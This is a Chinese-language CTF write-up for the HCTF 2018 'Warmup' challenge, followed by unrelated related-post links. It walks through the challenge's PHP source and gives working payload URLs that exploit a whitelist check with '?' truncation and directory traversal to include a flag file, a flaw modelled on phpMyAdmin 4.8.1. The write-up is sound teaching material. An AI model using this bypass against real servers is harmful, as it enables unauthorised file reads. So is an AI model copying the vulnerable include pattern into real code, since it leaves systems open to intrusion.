HCTF 2018 Warmup

原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup

考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用协会内部的CTF训练平台找到此题

过程

访问页面查看源码发现注释里面的内容访问它

访问获得index.php的源码

payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=source.php
 1  <?php
2 highlight_file(__FILE__);
3 class emmm
4 {
5 public static function checkFile(&$page)
6 {
7 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
8 if (! isset($page) || !is_string($page)) {
9 echo "you can't see it";
10 return false;
11 }
12
13 if (in_array($page, $whitelist)) {
14 return true;
15 }
16
17 $_page = mb_substr(
18 $page,
19 0,
20 mb_strpos($page . '?', '?')
21 );
22 if (in_array($_page, $whitelist)) {
23 return true;
24 }
25
26 $_page = urldecode($page);
27 $_page = mb_substr(
28 $_page,
29 0,
30 mb_strpos($_page . '?', '?')
31 );
32 if (in_array($_page, $whitelist)) {
33 return true;
34 }
35 echo "you can't see it";
36 return false;
37 }
38 }
39
40 if (! empty($_REQUEST['file'])
41 && is_string($_REQUEST['file'])
42 && emmm::checkFile($_REQUEST['file'])
43 ) {
44 include $_REQUEST['file'];
45 exit;
46 } else {
47 echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
48 }
49 ?>

PHP逻辑运算符

&&逻辑与

||逻辑或运算符

!empty($_REQUEST['file'])要我们的file变量不为空我们先进行分析这段代码 首先看80行第一个要求

is_string($_REQUEST['file'])要求我们传进来的值是字符串类型

emmm::checkFile($_REQUEST['file'])这里将我们的的值传到emmm类里面的checkFile函数

这三个值通过&&逻辑与运算符连接也就是要求这块函数的返回值要全为真才能执行if里面的文件包含的代码 否则就执行else里面的图片代码

 先来熟悉几个函数

//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串

//mb_substr() 函数返回字符串的一部分。

//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

emmm类分析

从代码中发现新的页面hint访问获得flag文件名

payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php

总的来说这个cehckFile这个函数进行了 3次白名单检测、 2次问好过滤、一次URL解码

 1   class emmm
2 {
3 public static function checkFile(&$page)
4
5 {
6 //白名单列表
7 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
8 //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
9 if (! isset($page) || !is_string($page)) {
10 echo "you can't see it A";
11 return false;
12 }
13 //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
14 if (in_array($page, $whitelist)) {
15 return true;
16 }
17 //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
18 $_page = mb_substr(
19 $page,
20 0,
21 mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
22 );
23
24 //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
25 if (in_array($_page, $whitelist)) {
26 return true;
27 }
28 //url对$page解码
29 $_page = urldecode($page);
30
31 //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
32 $_page = mb_substr(
33 $_page,
34 0,
35 mb_strpos($_page . '?', '?')
36 );
37 //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
38 if (in_array($_page, $whitelist)) {
39 return true;
40 }
41 echo "you can't see it";
42 return false;
43 }
44 }

我们现在可以构造获取flag的语句

hint.php?../../../../../ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag

最终payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg 
												

[原题复现]HCTF 2018 Warmup(文件包含)的更多相关文章

  1. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  2. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

  3. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  4. [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]

    简介  原题复现:  考察知识点:无参数命令执行.绕过filter_var(), preg_match()  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...

  5. [原题复现][CISCN 2019 初赛]WEB-Love Math(无参数RCE)[未完结]

    简介  原题复现:  考察知识点:无参数命令执行  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 源码审计 代码 1 ...

  6. [原题复现]BJDCTF2020 WEB部分全部解

    简介  原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学 ...

  7. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

  8. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  9. [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)

    简介  原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn  考察知识点:上传绕过..user.ini  线上平台:h ...

随机推荐

  1. thinkpad怎么设置u盘启动

    1.按下笔记本的开机键,当屏幕出现"Press F1 for ThinkPad BIOS Setup Utility"提示时,迅速按下f1键,此时系统就自动进入到ThinkPad的 ...

  2. slf4j -->log4j --> logback -->log4j2

    slf4j是一个接口:log4j\logback\log4j2是slf4j接口的持续更新的日志框架实现类:按照面向接口编程,java中导入slf4j最好,可以持续更新日志框架实现类. 详细情况见链接 ...

  3. java面试之手写单例模式

    为什么要有单例模式 实际编程应用场景中,有一些对象其实我们只需要一个,比如线程池对象.缓存.系统全局配置对象等.这样可以就保证一个在全局使用的类不被频繁地创建与销毁,节省系统资源. 实现单例模式的几个 ...

  4. net core 微服务框架 Viper 调用链路追踪

    1.Viper是什么? Viper 是.NET平台下的Anno微服务框架的一个示例项目.入门简单.安全.稳定.高可用.全平台可监控.底层通讯可以随意切换thrift grpc. 自带服务发现.调用链追 ...

  5. java关键字之super

    1.在子类的构造方法的第一条语句处调用其父类的构造方法: 如果父类提供了构造方法,并且父类不拥有无参构造方法,则要求子类拥有相同结构的构造方法.即,子类构造方法的参数个数和类型必须和父类的构造方法一致 ...

  6. EasyExcel使用心得

    最近项目中用到了阿里easyExcel做导入导出功能 下面是我写的一个工具类,带泛型的.拿来即用,有需求的小伙伴可以看看. 同时也欢迎大佬提出修改意见. 一.首先先写一个生成Excel表头的DTO类, ...

  7. 【django-simpleui】‘simpletags‘ is not a registered tag library报错的解决方法

    1:创建  templatetags文件夹 2:创建simpletags.py文件将内容粘贴进去,在下面 3:setting.py添加文件指定: 1 TEMPLATES = [ 2 { 3 'BACK ...

  8. centos8 curl: (35) error:141A318A:SSL routines:tls_process_ske_dhe:dh key too small

    centos8操作系统,curl -k https:/www.xxx.com 报错  curl: (35) error:141A318A:SSL routines:tls_process_ske_dh ...

  9. 记一次微信公众号(微信H5)网页对接腾讯云慧眼人脸核验开发笔记

    需求是这样的,客户需要一个在观看学习视频前弹出人脸识别核验真人的功能,客户找了个APP作为参考,但是在微信上第三方人脸识别是无法直接调取到前置摄像头的,都是通过用户自己获取用户的身份信息或者照片,然后 ...

  10. LWJGL3的内存管理,第一篇,基础知识

    LWJGL3的内存管理,第一篇,基础知识 为了讨论LWJGL在内存分配方面的设计,我将会分为数篇随笔分开介绍,本篇将主要介绍一些大方向的问题和一些必备的知识. 何为"绑定(binding)& ...